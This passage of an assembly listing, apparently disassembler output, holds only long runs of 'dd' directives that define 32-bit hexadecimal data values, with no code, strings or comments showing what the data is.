37DCF5B4h, 839D7376h dd 9502BDF0h, 0E0746222h, 0C0854207h, 2D0A124h, 5219E68Dh dd 9C60E523h, 960065B0h, 600642BBh, 359ABC2h, 4C7969AFh dd 3800F521h, 6D7FE661h, 19B93B4h, 0B7E80C1Ch, 87EF4380h dd 792FFA9Eh, 6ACFBFB1h, 50F46071h, 4CD7009Fh, 0FBC8F8F5h dd 8F1DAC1Bh, 743290Ch, 0D50B209Ah, 0C45B8C05h, 1D0474D1h dd 45F7C8h, 7FD11F51h, 744097DBh, 0A1425200h, 0C779B64h dd 6CC70047h, 739A7B3Ch, 0AB0F4914h, 60AE4FFBh, 1859BD8Bh dd 15B50040h, 0CF11D62h, 0BAEAE4FEh, 6E6B4700h, 0D9CD973Ch dd 0BB2E008Bh, 21C7DC8h, 40773EAAh, 0ABF4E700h, 41666A2Ah dd 20A10136h, 6E59A75Ah, 0B51BC41Dh, 65FE48h, 0CA8D45FCh dd 3B8748Bh, 0C860AB6Dh, 43A8CE3Ch, 0D7000683h, 1AEA50A6h dd 0A09452E3h, 0B1D3C4h, 487CC99h, 72E736E1h, 63ADEE00h dd 184315C1h, 64350132h, 0E5DFFC80h, 6F08F2h, 501FD22Bh dd 0F9049057h, 4C00F4FAh, 72879E66h, 4A409F5Fh, 5B3001A8h dd 806D580Dh, 2D629710h, 612EDBD1h, 969A2090h, 0E8D0F72Ch dd 1400BE7Ch, 54EF5E1Dh, 0DF184FFDh, 0F4B970h, 0FED4694Bh dd 0EB2965E3h, 0A4337900h, 18B0EA2Bh, 0D81C0066h, 0BEAE5291h dd 5D062A96h, 512E39CEh, 0A8380068h, 0B93BC8C1h, 0A20EA05Fh dd 41737AE7h, 0FF3E4AA9h, 12A1DED8h, 40B22A13h, 0BB792C04h dd 3700CA07h, 55F17CE3h, 0E2BFE4D2h, 6A6D00F7h, 30977954h dd 8049A8Ch, 0AE688B9h, 94876C80h, 48130086h, 0B437F04Eh dd 6E0FF561h, 0A0CA6C99h, 0A471DA15h, 3BB29859h, 6496A38Dh dd 735A03ECh, 56903F1Dh, 0B200029Bh, 249626E0h, 6C4466h dd 3ACE27E5h, 2EBF3EAh, 374793Ah, 0AC7DE4FAh, 0D639050h dd 0EECC0645h, 48295F81h, 2246E700h, 0C33747E9h, 0A81E0BFDh dd 7530D9h, 2CB9CFB6h, 34760EB6h, 26801AFCh, 6A64481Dh dd 734A7D00h, 1E619E8Dh, 0AB8306BFh, 581BB936h, 60168101h dd 74DC80E4h, 0C21D6F0h, 11DF933Eh, 33004E20h, 801629C8h dd 74816F4Ch, 90C400D2h, 92DF8CC3h, 6400D97Eh, 369B1346h dd 176278B7h, 0CC6E091h, 1FD01709h, 8C1C8700h, 0C1194A5Fh dd 0E783002Dh, 3E39CF82h, 0C574FD4Ch, 31085C03h, 908A3C72h dd 5E17B9C7h, 6B29C02Fh, 0E70085D4h, 0B767DAD7h, 0E706FA2h dd 0E1B9E228h, 392E7600h, 0D8F75E2Fh, 2403BBB3h, 0C37C782Dh dd 2FE85E6h, 0CD754AEEh, 0C08209Ch, 406BCF88h, 273CE0B5h dd 830E7C39h, 0D1D74861h, 0E15000CAh, 0C04D3F9Bh, 0A5307397h dd 0D6761984h, 0A2351DF3h, 0DD0E8071h, 934EC90Fh, 0B132400h dd 3CD945FBh, 6D83C31h, 40F2041Fh, 11AAE7Fh, 0C770A2C2h dd 54A0C460h, 706E8C7Ch, 0D030059Eh, 824428B1h, 1CE1A846h dd 6FA3F44Bh, 8F50C200h, 0A2DCEA1Eh, 680328C1h, 62261CA4h dd 8B587113h, 4065ED2Dh, 0EEFBB9A8h, 3A087601h, 60B8A07Ah dd 2C81B882h, 44024F36h, 6D7F4023h, 28FB02E2h, 0EE34040Ch dd 767280B0h, 406A1911h, 932523B0h, 1500B578h, 0BF305401h dd 14B4FD1Dh, 0AC26E9CDh, 0BD24CA00h, 6D9565EBh, 0C42CE800h dd 4FCD7ECEh, 0C9550074h, 1319F720h, 6E24ADE5h, 3B001441h dd 0B99A94BDh, 1171003Ah, 0C6421C12h, 0B0A0D60Eh, 0D8053772h dd 14BC6FD2h, 3A9F202Ch, 0C2C4CDh, 85EBD94Ah, 1794CAB8h dd 135AD08h, 253F7FB7h, 16D04013h, 0D590D16Bh, 0FB0F8690h dd 82E15DD5h, 8112DE17h, 0ED7DE9C8h, 53E8ECh, 3B689AB8h dd 0D50E6C42h, 64372805h, 0FC00772Bh, 1356A48Bh, 0DF9B00FCh dd 29CDA18Fh, 0A30C68D9h, 5067701Ah, 7DA23813h, 14FE9397h dd 0BA009653h, 57EA75FBh, 1800833Ah, 2F9CEFF1h, 0F2B674h dd 3FEB22FCh, 9BDF6B1h, 0A1921719h, 0C3F51AC1h, 3B580CD3h dd 20199A3Dh, 0B4313E00h, 0FE15A432h, 6F064063h, 2C790558h dd 8002C7Ch, 3A2BEAFCh, 9AEF0045h, 0ECE770A3h, 0E57652BCh dd 2DE0FCB0h, 58722E30h, 60E4FC67h, 18A048C1h, 0EE608E98h dd 0D04EEC28h, 561A002Eh, 6E0B0A73h, 2107EF71h, 674966CFh dd 0B74EE2D0h, 0DE68006Dh, 3314C4AAh, 0EA00F77Eh, 58569B6Fh dd 7382534h, 0CA1C37D0h, 9ABE00C8h, 0C900964Fh, 0EF4B5927h dd 3BB9F414h, 1006330Dh, 58E1AB6Fh, 0A7AE3601h, 9E5D57BDh dd 0E482E347h, 890D409Dh, 5690085h, 164D2009h, 1A0024A2h dd 0AEE53F32h, 90AFA7A3h, 0E4F0178h, 0C4224C34h, 491BF01Ch dd 91815Ch, 0CE8AAF6Eh, 1C6C0F18h, 56F9B3h, 0A26528ADh dd 4B000B5Bh, 69D9E343h, 0B78B5Dh, 2102F49Ah, 0B1804C25h dd 617C0900h, 0E40FCCFDh, 0F0DC00B2h, 96196013h, 0AF039F94h dd 0F5427E17h, 6DD3983Ah, 880A0065h, 0A94FF4CCh, 3C00B262h dd 4724B4C0h, 0FC2CB8Dh, 29846AA8h, 3E3F4D05h, 730E0004h dd 0FD24B7B5h, 761F0096h, 0F130C2F7h, 0CC7F06EAh, 52B8744Eh dd 0BD5CD40Ch, 4F0180E4h, 0DE6C2393h, 0ECD08CB1h, 0FDD203AEh dd 0C744202Dh, 65C05BD0h, 0B4519F00h, 9D91687Bh, 10433DAEh dd 4D499000h, 0B0F6A8EFh, 0CB125900h, 0C8D75F0Bh, 0B4C40096h dd 7D9E6082h, 1C0007D8h, 0DE4E4AA0h, 0FA6CB2h, 0C874BE9Ah dd 2F57097Eh, 9301CAF8h, 24D1C4D6h, 0BBC8B30Dh, 168F00BCh dd 0BE99B48Bh, 8000F122h, 72D07546h, 0EF88ECh, 5569CF71h dd 451F2F3Fh, 0C2E2E000h, 5CFCADD8h, 6BD600CBh, 14126121h dd 3F0F0CB7h, 602B8F01h, 5D3A3BB3h, 0F77B87Fh, 632AFDF3h dd 0F084C260h, 0A60F75D8h, 0C0F5ED4Ch, 8342E3C6h, 0E28200F1h dd 0EFC1D0D6h, 4100A46Dh, 0EB939DA1h, 1C44E30Eh, 0C5C9267Ch dd 0C08002B3h, 60787F32h, 7BB6EF0Ah, 1F00D884h, 0F03BF8AEh dd 7238005Ch, 0D1443EB7h, 151E29A8h, 870EBFCEh, 0EDCAA0ECh dd 0D6211C79h, 85730038h, 3AB71D8Fh, 0DDCEDF00h, 582A05A9h dd 7BAC0F60h, 4C80D6B1h, 35C028A6h, 693BE61Fh, 1C8ED054h dd 0E3400A9Dh, 0DC375534h, 0EF2C1F97h, 5A6B8070h, 0D64AC6Ah dd 0FA429B12h, 4E00E0ACh, 7D1DD99Ch, 0F200CE53h, 0E1E838A9h dd 7B071AC9h, 5F430FDEh, 407E1974h, 9AF4CAF1h, 4D03BC42h dd 0FC10488h, 56E4C8DAh, 0DBF600B8h, 3B857841h, 0A73B7225h dd 0B3E500BAh, 0E3E8FA0Ch, 2EB00C13h, 0FCF0F021h, 4F2BBD0Fh dd 7A8F0065h, 0BA68A7h, 69CD2502h, 0B533F7Ch, 5200A575h dd 57A47984h, 0BCA38Ch, 2F077B4Ch, 4DAEB011h, 79B6ACA0h dd 0FB564300h, 0C01965A6h, 0FF1E006Ch, 63840B3Bh, 2020361h dd 5CDDBA6Eh, 0CD524020h, 69C20074h, 61223992h, 9800F18Ch dd 49DE15DCh, 6AB63Eh, 875DD45Eh, 3226E108h, 7244E800h dd 1169E663h, 3F521ECCh dd 0B6754006h, 0CF39258Eh, 0DB26EE05h, 0C900CED0h, 715868Bh dd 23790037h, 0C5C91D91h, 4E01D8DAh, 3CEF82D3h, 89C03D2Ah dd 9D1A0070h, 0A456C9B1h, 310178EBh, 3E61C15Dh, 0A36054EDh dd 0BCFB0034h, 0FD977BC4h, 2490775Ch, 24C2A710h, 1CAE3009h dd 71B17087h, 0D8C4C6A2h, 4E00D2CEh, 15945049h, 9EC384h dd 172B185Ch, 230657FBh, 5121E600h, 9AF58214h, 0BFEC1C38h dd 5D6404B8h, 95B5E008h, 0FCF1E700h, 54BE5327h, 3B8A7B1Ch dd 7D1FDD49h, 0A9E4116h, 0E0696DBCh, 0A50386E2h, 5DB30CADh dd 0B162F01Ch, 0D92600ECh, 5433D823h, 7E01BBB4h, 0C1CB82A9h dd 0BECC2C76h, 0F7A31437h, 6900D252h, 255A0C7Ah, 6B00DF90h dd 0DD44F1AAh, 121B11h, 0BA483F27h, 0E56707F8h, 8D9EC600h dd 30A263A9h, 0CE27096Ah, 6103D992h, 0BA991365h, 42ADE4D3h dd 0EF507C02h, 41F396C9h, 59603D08h, 9C0801F5h, 89E9831Fh dd 34AFE4B4h, 1105487Ch, 9546A67Eh, 0E8F3F380h, 67C8014Dh dd 29B8EA66h, 9C3B20F7h, 0A1DD030Fh, 525D40D2h, 3733E70h dd 0BF3FD0A4h, 46F0BAEEh, 0E5004741h, 0AE54F60Eh, 1B202D5h dd 0F1BC5BB9h, 0E45D4DDBh, 6C702197h, 0B3438200h, 0F7D89011h dd 7CF80045h, 9610A25Dh, 1A00A6DDh, 17BCF32Ch, 0E856E3h dd 8735061Fh, 4ED56657h, 0B56BF212h, 0B3151007h, 0D15414E0h dd 7A763DC0h, 662C6A80h, 40B11E9Ch, 0E8B9D001h, 7EDDECC6h dd 5E442080h, 0A0711425h, 30684B0Fh, 95A48074h, 3EDFF5CEh dd 3F000EE1h, 9DAAFB82h, 5DE62AFAh, 0A3E57C00h, 8D165A21h dd 94530725h, 0D320EC98h, 769B1FAEh, 0F45033C1h, 770FCD89h dd 401CC294h, 7AEC81AAh, 0A028C093h, 3B27D031h, 0BC03C398h dd 9912057Fh, 0D8F3DBCFh, 48E0981Fh, 210F5976h, 5AE08E31h dd 6BA59524h, 0DE606100h, 3BE0EA84h, 3EA6E2CEh, 70078B58h dd 8FAE5A80h, 0EBAFDBA0h, 4103631Eh, 0C4A2F44Bh, 0DF0DA122h dd 1084FCh, 6175ADD0h, 5991EC6Dh, 8BAD902h, 0F73957AFh dd 0EE76B160h, 0FA5C8D00h, 6FA0F4CBh, 914900C1h, 3F86E789h dd 3A0044C9h, 0D94B5105h, 904ECD85h, 0D9205C5Ch, 78808F3Fh dd 0B8BCD63Dh, 790FFF34h, 0AED790h, 0CAC31059h, 0D51B0304h dd 0D9F56488h, 7633909Fh, 0EA00A88Bh, 0AA352517h, 70280Eh dd 3C079FDBh, 0DF81A501h, 4BBB0601h, 0BEB33264h, 1CA75DC4h dd 5DC7C284h, 5FD0DCB1h, 0D3AA81D6h, 0D0A0C808h, 2B00BEE0h dd 8A04B0CEh, 475949h, 77E9E34Ch, 0CDE6D92Fh, 19A04000h dd 7610BF68h, 0F1870157h, 2FEA5AEFh, 0C44FDC84h, 3E22D800h dd 0FDF7E072h, 0B6A0BBEh, 70A0B81Fh, 50D8EDC3h, 1A00717Dh dd 3B8F6D64h, 0E2EB5Ah, 2021DD87h, 32C790BAh, 1A42E700h dd 4158F7D1h, 0AFED00CBh, 6F1DD08Fh, 0FF0F1847h, 0B5B296h dd 0C92E3F83h, 0A5B80AB1h, 17084C4Eh, 90F10610h, 0E2008183h dd 0CD34EFCFh, 74C7FAADh, 0B1EC005Eh, 9125D806h, 8207AEA8h dd 0BC8758A2h, 0B219A5E1h, 44B798E3h, 0A19100A7h, 7D7382DCh dd 0E019045h, 15DE17Eh, 0CAF0C457h, 728DE224h, 0C6925C26h dd 9A0BC101h, 0E447EF77h, 0E900AD51h, 913B11E6h, 3DACBDB1h dd 0D6877566h, 0E33F4D46h, 80ECF784h, 0EBE534E0h, 8961F901h dd 0F65413ADh, 0E2901F7h, 85BC84D8h, 0A2A4E40Fh, 39335701h dd 0FCAEBB7Ah, 8AA9FCh, 0E651FE55h, 8899B2Fh, 380108B0h dd 0D4CDB776h, 0C03083E4h, 48DA7152h, 6E002F3Ch, 0EF66997Bh dd 0DF2F52Dh, 85316500h, 0ED347E1Ch, 5F0F0007h, 4326E4Eh dd 56745D30h, 36ADE30Bh, 77EAC295h, 0F88B9D40h, 0ED285700h dd 0A1462794h, 0AE2600DFh, 0B7D43E30h, 0CA12CBAFh, 2F00E32Eh dd 0BB01EABCh, 847143Ah, 6D12D8AEh, 0E9620067h, 0E42A2EF4h dd 5D88C200h, 0F631969Ch, 15AB0095h, 0C7BA67A0h, 983F72CEh dd 4EE8029h, 0AB2C0ACFh, 0A8F71F64h, 0F95700F0h, 0A959AFA6h dd 629C1413h, 80B6E44Eh, 0E3ACDB2Ch, 401E09BFh, 1100AB83h dd 4F1A416Ch, 383FAA00h, 0ACE2924Ch, 2C1B2C34h, 3082C09h dd 0C9CAAF29h, 0A04D4C80h, 1A3D6C0Ch, 0DD10B3h, 57F4A875h dd 74E05997h, 871F0200h, 0AD85A6DAh, 4BA10E6Dh, 0CAC0E577h dd 21AEAA0Ch, 305B7A30h, 8F467C0h, 0BCB6A722h, 186858CCh dd 3074A2AAh, 590A9CDCh, 2C5F2B20h, 884552C1h, 0E9E02916h dd 0EC19A075h, 4008CA12h, 2C21305Dh, 3601C0Ch, 0A7F8D7E8h dd 2CA5DE3Ch, 0D426A64h, 0C6403960h, 0CC3053FEh, 0E2C740D1h dd 2338ACBDh, 0A0859398h, 3060A15Fh, 0FD37F2B2h, 5004800Ch dd 1E7EF8Ch, 0A1279C83h, 9C4F29DAh, 34795814h, 0EF64E0C3h dd 98844042h, 46EEEA70h, 0FDC0000Ch, 0D367EF48h, 4330ACA6h dd 0AAB91438h, 8CAF14CCh, 1160A618h, 6E3758DAh, 431D0031h dd 508587EFh, 14B298E3h, 0D4E729FDh, 603861F4h, 27EFF0E9h dd 240A8C26h, 1640A91Ah, 0D280C2BCh, 40300CEDh, 0EF980A52h dd 8DFCC7h, 514E1407h, 0B40FF10Ch, 0D420A724h, 0F708E048h dd 0A7443A2h, 8092E5A0h, 31EC7CABh, 76012080h, 3060B23Ah dd 33E709A7h, 3B10C0CDh, 26278422h, 7FA81765h, 28009414h dd 24898A8h, 98716804h, 36E01956h, 410348B8h, 5010479Ch dd 53F95AC0h, 5CD20C24h, 2F9E093Eh, 0B07C151Fh, 41A5C059h dd 0FAC7240Ah, 0D30AA499h, 2438CC61h, 4C73A0FCh, 5040ADA0h dd 20E1488Ah, 80F77218h, 0A0C948C7h, 24F4162Ch, 222455E2h dd 608FE01Ch, 7BEB305Fh, 835239D1h, 54E8CED8h, 12F4D438h dd 182C2EE9h, 20900CFFh, 6811805Eh, 6A8AC109h, 60588F53h dd 0EC1E6294h, 10CE48D2h, 0A574FB39h, 540680C4h, 0ABEFF746h dd 3A87C0A0h, 638F557h, 9286AB26h, 0DBC01661h, 808010D7h dd 0F4A90CA3h, 2816EB2Ah, 0EA0A7120h, 37E060C6h, 0DC64EA7Eh dd 0DE450028h, 0E0D0E6B1h, 0C8A526E8h, 0B2B8A03h, 8994FA91h dd 1E55E8Ch, 0F1D9067h, 0D84BC42Ch, 7695461Dh, 5683202Bh dd 1CE81E0Bh, 83214071h, 225BA70Dh, 0F62F27A1h, 88789CE0h dd 786CD857h, 47D6D909h, 8EA4209Ah, 856C19A8h, 89FCD701h dd 0C4505E2Ah, 141A333Bh, 18A2BC2Ch, 0A88613A0h, 0D8E99D30h dd 0E0794EE0h, 55F50B8Ch, 0AA562C0Ch, 0A0A0CC14h, 32144D9Bh dd 0C038D57Eh, 6C1040D7h, 0C572B0Ah, 0F5598718h, 0F35CE2A7h dd 75E5CC82h, 74308CC2h, 8E075551h, 52CB451Ah, 5830F805h dd 235871h, 52C8FF95h, 0D861460h, 1A644712h, 569C838h dd 0DF0F7675h, 9BC1CFDh, 58960D34h, 283B1406h, 928CCC5h dd 22E0FFA0h, 0F802B016h, 1ED059DCh, 8FB081FCh, 285C1A43h dd 35D00C32h, 0E0C84453h, 0D4F0A02h, 0C1D6C587h, 0C7F468E4h dd 0B930246h, 0B25C471Ah, 53E8D040h, 0B647A6F8h, 3967D907h dd 0DA0AA5Dh, 214803C0h, 0E7088424h, 9C800DD7h, 13F8F18Bh dd 16A74F67h, 20042830h, 0F00DA23Bh, 0ECCFE8DDh, 72B01087h dd 9DF21816h, 0C50970DCh, 2E54011Eh, 0A862F50Ch, 616C73C1h dd 60A050FEh, 0DEE1DC5Eh, 38472662h, 5E8CDB1Ch, 48408926h dd 2C13204Ah, 8E503CF2h, 0D430CAFCh, 7EA090A4h, 273E0448h dd 0CB0D155Fh, 98CD3918h, 80913ABFh, 18E34C5Fh, 3BF49E0h dd 58980F30h, 1F0E2AE0h, 83358721h, 8E730729h, 0C9A42CA5h dd 0A0B2753Dh, 55C014E6h, 0B71DC8BAh, 0AAAC0074h, 828C7243h dd 26B9E601h, 0FC7FFB6Ah, 9EDEC8h, 8DA68BC3h, 5DB568ABh dd 0DBF34C1Dh, 0C3CAEC1Bh dd 0B829F8CCh, 0B76A1FACh, 0E8340C62h, 306F218h, 2EE54C30h dd 0FCD02930h, 81F10230h, 0CEE067BAh, 1D018B8Dh, 16AC5795h dd 60D023E7h, 3C0CE8FEh, 4C0C3A89h, 8A0811B3h, 87520D1Ch dd 0E7369741h, 47D0D51Fh, 78A864C6h, 61CAF03h, 18F7803Eh dd 0B8F87ED8h, 56A8079Ch, 43A9E76Ch, 3074C08Ch, 0A0289E31h dd 109F2450h, 74BC3EBh, 6CE0D592h, 9F156ABDh, 0CF903D67h dd 573042E9h, 4EB0184h, 493400DAh, 0D2E5E955h, 0AE0EC080h dd 0A43A0787h, 0B81F7B77h, 4F245D2Bh, 116C3030h, 28AC1456h dd 24803005h, 985F9B5Ch, 0CB8DA90Ah, 0CC04C09Dh, 0FF0699C9h dd 0C703A07Ah, 87AC2B94h, 0A0087BA7h, 3AFE4CA0h, 69302CA6h dd 4D85CCE0h, 13BCF4A0h, 0C56C4E1Dh, 0FC8740CAh, 14B73950h dd 0CCC9AD52h, 46BB2B00h, 0D485AC55h, 652C5D07h, 6C4E57F7h dd 651E10EDh, 71D7D071h, 0C44D72F0h, 0B80DCACh, 58EB0AC9h dd 5902A2Ch, 7181EECh, 0CFEF4CB8h, 50C0EE06h, 6CE88A61h dd 0E401D454h, 1860943Eh, 0FCCC0CB0h, 500E08C2h, 0E5EAA01Fh dd 662DACF0h, 0A08030F3h, 71ACC00h, 4BF02C4Eh, 0C00C30B8h dd 2704C60h, 2445E1F9h, 0F107A254h, 8EA68DE5h, 0B460CD40h dd 462D1DFBh, 441E3C02h, 866D0607h, 0B32808BDh, 8C63A06Bh dd 0FB7AD18h, 62F13109h, 0B801D363h, 4E2085F8h, 10C6EDF0h dd 3F08E9ACh, 62837E4Ch, 4F49D46Ch, 111F5CA3h, 6436BF3h dd 0A1BBD39Ah, 0A6D0A4F5h, 681F0094h, 0D46AC87h, 8D032DCDh dd 0B6076690h, 5934A0BBh, 6D4D3BA1h, 320DAD86h, 9200409Fh dd 0D86768B6h, 3C2769C2h, 3C74B84Dh, 0FA03CB8Eh, 5BEBEEF9h dd 0D0C01CA1h, 7BE86EE3h, 0C8624F07h, 0EB9003BBh, 0E9D05F3Bh dd 0F0E479E0h, 46691FDBh, 5BAD00C9h, 29609BC8h, 3ECC8B80h dd 0C1BC7009h, 88A8037Ch, 30E050DDh, 446AB0C7h, 2502F03Dh dd 151BC959h, 0DB80096Bh, 3AAFBBC0h, 0FC2908C5h, 11899BC1h dd 6CEFBF0h, 0F15BC6A2h, 1C4018B5h, 2EFD34BBh, 20B286B0h dd 0EF174579h, 1E1DC9D0h, 1856E607h, 0C0DB1AF3h, 0F8C83CB0h dd 0F061F250h, 0A56A3990h, 0FA0D000h, 1208706Dh, 0C7991601h dd 78F9185Ch, 7DC419F5h, 1BFA015Ah, 0BBF513B5h, 110BA6Eh dd 0AF94F95Dh, 9BE12799h, 1DEB4AE8h, 4F0E70h, 0FF864D0h dd 0C2606B3Bh, 561FA340h, 32E0771h, 0B00DAB1Ch, 5169A541h dd 1B3C2A0Ch, 7D322821h, 0AFDB184Dh, 38860825h, 0F8E73780h dd 6061033Bh, 810D7BF5h, 4F621800h, 0D118BBFFh, 319B1F55h dd 9F5B0619h, 1329823h, 83CA280Bh, 78E51BF8h, 3FFEB30h dd 98E78610h, 40C7CF1Ah, 0DDFC7B3Ah, 9488B001h, 0CA499BEBh dd 891CF041h, 0F12AC841h, 288060F3h, 0D125FDD0h, 0E3DE101Ah dd 0FFD78150h, 70805EFBh, 9986903Bh, 0E266893Ah, 12186910h dd 362929Bh, 0C8668414h, 244018E2h, 0E466997Bh, 6A13F60h dd 0FBC83D5Ah, 0CC00318Ah, 56B0D111h, 6650099Dh, 9DB409Fh dd 8CD44AA1h, 8FE8548h, 0C0F26234h, 20407135h, 4890060Ah dd 0C940BB03h, 0A04A7E9Bh, 90D742FBh, 0AF3C020Ch, 0D6D1D919h dd 0F76B1C40h, 7B482C90h, 5100A24h, 9000A865h, 0ED9B0FF9h dd 4ECACFDh, 73400D7Ch, 4F401E58h, 501BF40Fh, 0F0DD05F7h dd 70FAE885h, 0EA925A1Ch, 360096ECh, 9D5BFC2Ah, 767BFAh dd 0A3F0E7FEh, 0BBEF9586h, 14304B48h, 87201E46h, 2F00636Fh dd 142A351Fh, 3411F7DCh, 0B26764A0h, 286C1631h, 60213FBCh dd 7587520h, 6EB13BF5h, 0C68742F4h, 38912440h, 0C4247D80h dd 872DAF08h, 38F81654h, 385648h, 0F515EDBBh, 12F07B9Bh dd 66D7A98h, 60795B48h, 0E8411B28h, 4C92A2F0h, 82778300h dd 99872BDAh, 924C039Ah, 9C6BDB55h, 0FF760801h, 4D80FA98h dd 935D508Ch, 3D717140h, 31BE1013h, 0F5E40404h, 0CED5880h dd 9E901DD1h, 0C3D00407h, 2358C3CEh, 1BA9012h, 0F2FB3C03h dd 670802E3h, 0FEFA998Bh, 13D28469h, 7BC8E8E4h, 70654044h dd 1A3A88CDh, 18EE509Ah, 3D299400h, 44902C50h, 1BE97002h dd 4873F0D1h, 983FF1A0h, 58CD4878h, 56825000h, 5EC6BBC9h dd 4A037BE8h, 6D5BF5F1h, 7EDBE155h, 8E9B0886h, 0B64C5831h dd 0FFD018A8h, 98199048h, 7C40F0A0h, 9A43F0C6h, 467632A4h dd 78408438h, 0C364BCBBh, 0A4D07908h, 13D31B8Eh, 5BEC70h dd 7F052788h, 8C9A1130h, 78129F3Ah, 0EFF39206h, 1B08C550h dd 10F55990h, 4000119Bh, 107F33A7h, 0F185477h, 0EFCFD2D9h dd 0A8A7E209h, 4049942h, 0DB1C815Fh, 7B60308Bh, 0E809846Eh dd 886509DCh, 0B6941C02h, 0D3A3A040h, 0CD3D3490h, 747B8C82h dd 40DC282Ch, 881C0A30h, 0D48C5B0Fh, 3F31D8F3h, 0B8837BDEh dd 0E7139BF0h, 6E8B1001h, 0CBCC70EAh, 0C954BA00h, 49B5B12h dd 0EA7A8060h, 764224EEh, 949C0AD0h, 3EDA6010h, 20F315F4h dd 874D7C90h, 0AC0F26C0h, 9CC74989h, 0A7D000E8h, 52BB7E02h dd 3E485C2Ah, 623B1E7Ch, 6E0C1CA6h, 2B98D839h, 814CFB83h dd 0F1B7B5F8h, 3C78867Eh, 2868F790h, 0EA842E50h, 0AC40C52Dh dd 102C82C4h, 1A28843h, 0C028046Eh, 256FAB77h, 27392448h dd 0F4367E00h, 0B82B215Bh, 76801CC6h, 0B59573B9h, 0FC231C47h dd 7770F2BDh, 0F79C1498h, 0A4D5B709h, 87348266h, 123CC0D2h dd 1BC0164Dh, 7BD402BEh, 9C42E42Ch, 5EBAA0A2h, 0D7DBE4C1h dd 24A481C5h, 2250C85Bh, 0D8F8C098h, 0FBF43CB8h, 0E8F02874h dd 1F9B08C2h, 6FCC4103h, 4CBC3474h, 9F021C7Eh, 0B170EFF6h dd 0B9FB5DC0h, 7BF4CA1Fh, 0DE10F398h, 0F0EB1609h, 30CC0206h dd 0E4802F80h, 1B0FBCA7h, 0C0D45F21h, 0E2B1C6D3h, 0BCE09EEBh dd 3000DCA6h, 90245C8Eh, 18415861h, 0B0108131h, 689024D7h dd 904C9890h, 43BEA0B8h, 0A5F03180h, 8A089C50h, 0EC7F1BC8h dd 4028BB12h, 7636046Ah, 966A6A7h, 5448882Dh, 0E596A8E0h dd 0D8A0508Ch, 44DF4C5Ch, 6B18B00Ch, 0F1C2A258h, 0B8C6AEEEh dd 17A46134h, 44591270h, 93F4540h, 22C1E68h, 0A455EFBAh dd 350265FEh, 22646074h, 1A4A706h, 0AEE76191h, 0FD2824BAh dd 74F80465h, 0C048E811h, 5DDC3E73h, 235A3ABAh, 5299992h dd 81CFCB00h, 603AD6D8h, 186F4B1Ch, 0CD548E0h, 0E210C6B9h dd 0FB0FDE0Ah, 67E0C0ECh, 62C05DA3h, 51BC88CBh, 83BBC60h dd 6390CA62h, 832C40F7h, 0E368CA07h, 9B690F0h, 8375C1F0h dd 174B90B4h, 4283D08h, 81791F44h, 305CD0ECh, 18948EACh dd 8C04E713h, 0A4D19350h, 2070C1B5h, 7DFB7C59h, 7F071C30h dd 9008B0F0h, 0F1F10205h, 0F320215Eh, 502880FCh, 2C90C834h dd 10131D30h, 307F18B9h, 303876D0h, 20DF5848h, 2B086039h dd 0F4191612h, 7C6D4834h, 0DA08C473h, 69BC040Ah, 0A2D0A118h dd 0EB80C2B0h, 90036BC7h, 7919A188h, 843858FFh, 0AA683B31h dd 0C1808C14h, 13DBB00Dh, 181A8399h, 610990C5h, 907B80CCh dd 0A00C6F10h, 384D0506h, 10B02971h, 78F6F434h, 61F0D2C2h dd 88FAF67h, 0FB008D11h, 3BF2B16Eh, 57E98560h, 671BF356h dd 785B081Ch, 0A8020D97h, 636EE6DBh, 1881BDB0h, 0B030BAFBh dd 0A07233BBh, 0C98FC750h, 95827880h, 0A8B8508Fh, 11C59B19h dd 14305828h, 0CEEF2C1Bh, 1711B14Ch, 0D8388B25h, 92BC86A8h dd 518CA110h, 41FC3820h, 0D0F8700Dh, 64C3E32Ch, 501D7B16h dd 5BDFF0Fh, 709395BBh, 780852F2h, 0D5D3AFC1h, 9C4C24C1h dd 58504E2Ch, 18F2EA70h dd 28A7E9D3h, 54B8987Ch, 3487D0A5h, 29CC0ECCh, 4019085Ch dd 29503024h, 392A2237h, 709B3C24h, 0DDEEBB05h, 134D2C28h dd 5E868AB3h, 0FC487D60h, 45701B13h, 9BDFE8h, 0F3734D88h dd 0ED3A8D3Bh, 0D8591DDEh, 0B162FB00h, 0B0F230E0h, 4C1B2CCCh dd 78BB02D8h, 8C9655B2h, 8616F40Bh, 0FC3020D6h, 0C0CC7Dh dd 55DA17FBh, 0D31611DBh, 5F1AF014h, 0B80A28D4h, 88123B10h dd 0F3D5C409h, 35040496h, 8EB7E2CAh, 4D0FDC03h, 0C327F001h dd 0C7FFB55h, 587C7020h, 0ED511852h, 409BFC01h, 5CDA70E0h dd 0BC37404Eh, 0F651B2E0h, 6030F4E2h, 222680B1h, 0BC8294E5h dd 0C5C0E96Ah, 29B287A4h, 97BFE449h, 0CC024B00h, 460131Bh dd 0C0486830h, 22B21898h, 0B22707E8h, 4824B218h, 0E25870A5h dd 0F43C8414h, 0B3A18CB0h, 2CC39020h, 9B4637Ch, 4C80CB3Bh dd 0E7FE58B0h, 0FFC01018h, 0C24BBE08h, 0FA1A9DE8h, 0F2814445h dd 0FDA57AC6h, 905CD889h, 21899089h, 0D185482Eh, 521C700Fh dd 9F24B3DFh, 0BD89388Dh, 91AC8657h, 62D07040h, 65470DCh dd 1A1288C7h, 28C7AD02h, 0DD404362h, 0C707430h, 0BA0F20CAh dd 7FA3FC12h, 89551805h, 790460CEh, 883B9018h, 7E505104h dd 1C9089D0h, 0AC70DB4Bh, 64B02B1Dh, 0A0BCC181h, 9D51F08Ch dd 0D5B2D0A4h, 0A1C080B1h, 58D4E693h, 9C0068B2h, 0B918B446h dd 952485F3h, 1050500Fh, 0BCE21E62h, 1D8E829h, 791880ACh dd 4BEB5C3Fh, 5E2804F0h, 38A472FFh, 308B6596h, 0D04C8074h dd 0ACA066DBh, 49C0815h, 0AD43558h, 6930B3C5h, 40BB19CCh dd 0B1645819h, 0A8FE7238h, 0AFF280B9h, 7DF81F4Ch, 1760CF61h dd 10BDE92h, 0EC07C568h, 0E4200984h, 381268A6h, 0CA9950C8h dd 4FFF3E00h, 0CDDC2A5Ah, 1214A511h, 5D1E0681h, 0BC2C50B7h dd 0F0122835h, 0C053828h, 6144DE15h, 91599C50h, 3217195Ch dd 0A8616E08h, 4C5A36E0h, 1DB378FAh, 7443F3A1h, 0EF487C44h dd 1D00470h, 0BCE2D36Bh, 0E3989C81h, 5CC18414h, 3C8E27FFh dd 32D4CC03h, 28164842h, 4802183Ch, 940D05FBh, 8DA22E18h dd 65FC09A2h, 8A047C1Ch, 85C14CBh, 0DCFC8C83h, 